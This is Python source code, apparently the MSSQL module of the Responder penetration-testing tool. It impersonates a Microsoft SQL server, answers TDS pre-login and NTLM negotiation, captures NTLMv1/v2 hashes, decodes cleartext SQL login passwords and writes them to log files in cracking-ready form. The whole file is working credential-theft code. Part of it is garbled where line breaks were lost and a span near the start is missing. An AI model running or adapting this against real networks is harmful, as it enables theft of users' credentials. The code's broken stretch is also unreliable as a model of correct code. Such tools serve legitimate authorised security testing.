import os import struct import settings from SocketServer import BaseRequestHandler from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer from utils import * class TDS_Login_Packet(): def __init__(self, data): ClientNameOff = struct.unpack(' 60: outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-NTLMv2-Client-%s.txt" % client) if PrintData(outfile,User+"::"+Domain): print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0)) print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0)) print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0)) print text("[MSSQL] NTLMv1 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0)) WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:]) WriteData(outfile,WriteHash,User+"::"+Domain) def ParseSqlClearTxtPwd(Pwd): Pwd = map(ord,Pwd.replace('\xa5','')) Pw = [] for x in Pwd: Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex')) return ''.join(Pw) def ParseClearTextSQLPass(data, client): TDS = TDS_Login_Packet(data) outfile = os.path.join(settings.Config.ResponderPATH, 'logs', "MSSQL-PlainText-Password-%s.txt" % client) WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password) if PrintData(outfile,WritePass): print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0))) print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0)) print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0)) print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0)) print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0)) WriteData(outfile, WritePass, WritePass) # MSSQL Server class class MSSQL(BaseRequestHandler): def handle(self): try: while True: data = self.request.recv(1024) self.request.settimeout(0.1) # Pre-Login Message if data[0] == "\x12": Buffer = str(MSSQLPreLoginAnswer()) self.request.send(Buffer) data = self.request.recv(1024) # NegoSSP if data[0] == "\x10": if re.search("NTLMSSP",data): Packet = MSSQLNTLMChallengeAnswer(ServerChallenge=settings.Config.Challenge) Packet.calculate() Buffer = str(Packet) self.request.send(Buffer) data = self.request.recv(1024) else: ParseClearTextSQLPass(data,self.client_address[0]) # NegoSSP Auth if data[0] == "\x11": ParseSQLHash(data,self.client_address[0]) except socket.timeout: pass self.request.close()